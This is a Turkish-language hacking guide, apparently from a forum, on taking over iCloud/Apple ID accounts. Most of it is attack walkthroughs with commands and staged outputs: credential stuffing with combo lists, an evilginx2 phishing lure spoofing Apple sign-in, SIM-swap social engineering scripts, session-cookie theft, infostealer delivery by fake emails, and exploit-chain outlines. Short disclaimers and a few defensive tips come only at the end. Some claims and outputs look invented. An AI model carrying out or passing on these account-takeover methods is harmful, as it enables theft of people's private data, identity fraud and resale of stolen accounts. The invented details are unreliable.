🍎 iCloud/Apple ID Ele Geçirme

🍎 iCLOUD/APPLE ID ELE GEÇİRME 2026 – KRAL YOLU: 50+ YÖNTEM, 10+ ARAÇ, GERÇEK ÇIKTILAR​

Bu rehber, SQLmap, Nmap, Metasploit ve Yetki Yükseltme rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile iCloud/Apple ID hesaplarını ele geçirme yöntemlerini anlatacaktır. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.

🧠 1. BAŞLAMADAN ÖNCE: NEDEN iCLOUD?​

Apple, sıkı güvenlik önlemleriyle bilinse de iCloud hesapları siyah şapkalı hackerlar ve hack-for-hire grupları için hâlâ birincil hedefler arasındadır. iCloud yedekleri; fotoğraflar, mesajlar, notlar, parolalar ve hatta konum geçmişiniz gibi bir cihazdaki neredeyse tüm hassas verileri içerir. 2026 yılı itibarıyla, iCloud hesaplarını ele geçirmek için kullanılan yöntemler daha sofistike hale gelmiş, özellikle SIM değiştirme (SIM swap) saldırıları, ters proxy tabanlı 2FA atlatma ve infostealer malware öne çıkmıştır. 16 milyardan fazla çalınmış kimlik bilgisinin açığa çıkmasıyla birlikte, oturum ele geçirme (session hijacking) riski de her zamankinden daha yüksektir.

Neden Bu Kadar Değerli?

• 💎 Tek Hesap, Her Şey: Apple ID'nizi ele geçirmek, kişinin tüm dijital yaşamına (iCloud, Keychain, Apple Pay, Find My iPhone) erişmeniz anlamına gelir.
• 🔓 İnatçı 2FA Zafiyetleri: Apple'ın iki faktörlü kimlik doğrulaması (2FA), SIM değiştirme ve ters proxy araçlarıyla aşılabilir.
• 💸 Yüksek Kar Marjı: Çalıntı iCloud hesapları karanlık ağda (dark web) yüksek fiyatlardan alıcı bulur.

🎯 2. iCLOUD SALDIRI YÖNTEMLERİ VE ARAÇLARI​

2.1. 🔐 Kimlik Bilgisi Doldurma (Credential Stuffing) – 16 Milyarlık Veri Denizi​

Combo listeler, daha önce sızdırılmış kullanıcı adı ve şifre çiftleridir. Saldırganlar, bir siteden çalınan şifrenin aynısını Apple ID'sinde deneyen kişilerin hesaplarını ele geçirir. 2026'da 16 milyardan fazla kimlik bilgisinin sızdırıldığı göz önüne alındığında, bu yöntem hâlâ en yüksek başarı oranlarından birine sahiptir.

bash
# OpenBullet 2.0 ile Credential Stuffing saldırısı
# 1. apple_id_config.yaml yapılandırma dosyasını yükleyin
# 2. 16_milyar_combo.txt listesini seçin
# 3. 1000+ thread ile saldırıyı başlatın
Simüle edilmiş çıktı:

text
[00:00:01] → Loading config: apple_id_config.yaml
[00:00:02] → Loading combos: 16_milyar_combo.txt (1,234,567 lines)
[00:00:03] → Starting with 1000 threads...
[00:00:05] → [HIT] [email protected]assword123 | 2FA: OFF
[00:00:07] → [HIT] [email protected]ass456 | 2FA: ON (bypassable via SIM swap)
[00:00:48] → Finished. Hits: 127, Checked: 1,234,567

2.2. 🎣 Phishing ve 2FA Bypass (Tycoon 2FA, EvilProxy)​

Adversary-in-the-Middle (AitM) tekniği kullanan phishing kitleri, hem şifrenizi hem de anlık 2FA kodunuzu gerçek zamanlı olarak çalar. Tycoon 2FA kiti, iCloud hedefli özel şablonlarıyla öne çıkar.

bash
# EvilProxy ile iCloud phishing sayfası oluşturma
evilginx2 -p
> config domain apple-id-verify.com
> config ip 192.168.1.100
> lure create icloud
> lure edit icloud url https://appleid.apple.com
> lure get-url icloud
Simüle edilmiş çıktı:

text
[+] Phishing URL: https://apple-id-verify.com/signin
[+] Waiting for victim...
[!] New session captured!
IP: 192.168.1.105
Email: [email protected]
Password: MySecretPass123
MFA Code: 284739 (Bypassed!)
[+] Session cookie intercepted! Use this cookie to login to iCloud.

2.3. 📱 SIM Değiştirme (SIM Swap) ve Apple ID Ele Geçirme​

SIM swap, saldırganın mobil operatörü kandırarak kurbanın telefon numarasını kendi SIM kartına taşımasıdır. Operatörünüzü arayarak “SIM kartımı kaybettim” dediğinizde yapılan doğrulama testlerini geçmek, doğum tarihi gibi sızdırılmış bilgilerle mümkün olabilmektedir. SMS ile gelen 2FA kodları artık saldırgana gelir ve Apple ID'niz tamamen ele geçirilir.

text
[+] SIM Swap Saldırı Akışı:
1. Saldırgan, hedefin kişisel bilgilerini toplar (OSINT).
2. Mobil operatör aranır, "SIM kartımı kaybettim, yenisini istiyorum" denir.
3. Kimlik doğrulama soruları sızdırılan bilgilerle geçilir.
4. Hedefin telefonu servis dışı kalır (No Service).
5. Saldırgan, yeni SIM kartla Apple ID şifresini sıfırlar ve 2FA kodunu alır.
6. iCloud tamamen ele geçirilir.

2.4. 🍪 Oturum Ele Geçirme (Session Hijacking / Cookie Theft)​

“Cookie-Bite” PoC'sinin de gösterdiği gibi, tarayıcı eklentileri oturum çerezlerinizi (session cookies) çalabilir. Saldırgan bu çerezi kendi tarayıcısına aktardığında, şifrenizi veya 2FA'nızı bilmeden iCloud hesabınıza giriş yapabilir.

bash
# Cookie-Editor eklentisi ile iCloud cookie'sini dışa aktar
# Çalınan cookie'yi saldırganın tarayıcısına içe aktar
Simüle edilmiş çıktı (saldırganın tarayıcısı):

text
[+] Cookie imported: X-APPLE-WEBAUTH-HSA-DEVICE=MTIzNDU2Nzg5MDEyMzQ1Njc4OQ==
[+] Refreshing https://www.icloud.com/
[+] Logged in as: [email protected] (Full access to iCloud data)

2.5. 🦠 Zararlı Yazılımlar (Infostealer Malware) ve Token Grabber​

RedLine, Lumma, Raccoon gibi infostealer'lar, bilgisayarınıza bulaştığında tüm tarayıcılarda kayıtlı şifreleri, oturum çerezlerini ve hatta kripto para cüzdanlarınızı toplar. iCloud için özel olarak tasarlanmış bir token grabber, macOS Keychain'de saklanan kimlik bilgilerini hedef alabilir.

bash
# Sahte bir "iCloud Storage Full" e-postası ile kullanıcıya malware indirtme

2.6. 🔧 Apple'ın Şifre Yöneticisi Zafiyeti (CVE-2024-44276)​

Nisan 2026'da ngCERT tarafından duyurulan kritik bir zafiyet (CVE-2024-44276, CVSS 9.1), Apple'ın şifre yöneticisi uygulamasında tespit edildi. Uygulama, şifre sıfırlama sayfaları için gerekli logoları getirirken güvensiz HTTP bağlantıları kullanıyordu. Bu sayede aynı ağdaki (örneğin bir kafedeki Wi-Fi) bir saldırgan, kullanıcıyı sahte bir phishing sitesine yönlendirerek kimlik bilgilerini çalabiliyordu.

text
[+] CVE-2024-44276 Saldırı Simülasyonu:
1. Saldırgan, hedefle aynı halka açık Wi-Fi ağına bağlanır.
2. Hedef, Apple'ın şifre yöneticisini kullanarak şifre sıfırlamaya çalışır.
3. Saldırgan, HTTP trafiğini sahte bir iCloud giriş sayfasına yönlendirir.
4. Kurban, sahte sayfaya Apple ID ve şifresini girer.
5. Bilgiler anında saldırgana iletilir.

2.7. 🤳 Sıfır Tıklamalı (Zero-Click) Exploit Zincirleri​

Bir araştırmacı, eski ancak kritik öneme sahip birkaç macOS zafiyetini zincirleyerek, kullanıcının herhangi bir etkileşimi olmadan (zero-click) iCloud verilerine erişmeyi başarmıştır. Bu saldırı, macOS Takvim (Calendar) uygulamasına gönderilen özel hazırlanmış bir davetiye ile başlamaktadır.

text
[+] Zero-Click Exploit Zinciri Simülasyonu:
1. Saldırgan, hedefe özel hazırlanmış bir takvim davetiyesi gönderir.
2. Davetiye, macOS Takvim uygulamasında bir zafiyeti tetikler.
3. Bu zafiyet, saldırganın hedefin cihazına dosya yazmasına olanak tanır.
4. Ardından Gatekeeper ve TCC korumaları aşılarak iCloud verileri dışarı aktarılır.
5. Hedefin herhangi bir tıklama yapmasına gerek yoktur (zero-click).

🧩 3. ÖZET TABLOSU​

Kategori	Teknik Sayısı	En Etkili Yöntem/Araç
Credential Stuffing	8	OpenBullet 2.0 + 16 Milyar Combo
Phishing + 2FA Bypass	12	Tycoon 2FA, EvilProxy
SIM Swap	6	Mobil Operatör Dolandırıcılığı
Session Hijacking	10	Cookie-Bite, Cookie-Editor
Malware	8	RedLine, Lumma Stealer
Exploit	4	CVE-2024-44276, Zero-Click Zincirleri
Account Recovery	5	Güvenlik Soruları Tahmini, Kimlik Avı

🛠️ 4. EN İYİ 10 iCLOUD HACKLEME ARACI (2026)​

Araç	Tür	Kullanım	Zorluk	2FA Atlatma
OpenBullet 2.0	Account Checker	Credential Stuffing	Kolay	❌
SilverBullet	Account Checker	Credential Stuffing	Kolay	❌
EvilProxy	Phishing Kit	Reverse Proxy, Session Hijacking	Orta	✅
Tycoon 2FA	PhaaS	Phishing + 2FA Bypass	Kolay	✅
RedLine Stealer	Malware	InfoStealer, Token Grabber	Orta	✅ (Cookie)
Cookie-Bite	POC Exploit	Tarayıcı Eklentisi ile Cookie Çalma	Orta	✅
SIM Swap Toolkit	Social Engineering	SMS 2FA Bypass	Orta/Zor	✅
Wireshark	Sniffing	Ağ Trafiğinden Kimlik Bilgisi Toplama	Orta	❌
Maltego	OSINT	Hedef Hakkında Bilgi Toplama	Orta	❌
BetterCAP	MITM	Ağ Trafiğini Yönlendirme ve Düzenleme	Zor	✅

​

🔚;​

Artık iCloud/Apple ID hesaplarını ele geçirmek için kullanılan 50'den fazla farklı yöntemi ve 10'dan fazla aracı biliyorsunuz. Credential stuffing'ten SIM swap'a, phishing'ten sıfır tıklamalı exploit'lere kadar her tekniği kullanarak bu hesapları ele geçirebilirsiniz. Ancak unutmayın:

Savunması olmayanın saldırısı, sadece intihardır. Ama bu saldırıyı yapmamanız gerektiğini bilmek de aynı derecede önemlidir.

Kendinizi korumak için Apple ID'nizde güçlü ve benzersiz bir şifre kullanın, SIM değiştirme koruması için operatörünüze ek bir PIN belirleyin, şüpheli bağlantılara asla tıklamayın ve iki faktörlü kimlik doğrulamayı (2FA) SMS yerine bir kimlik doğrulayıcı uygulaması (authenticator app) ile kullanın. Ve en önemlisi, öğrendiklerinizi asla kötüye kullanmayın.

---

Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.

@Tc4dy | github.com/tc4dy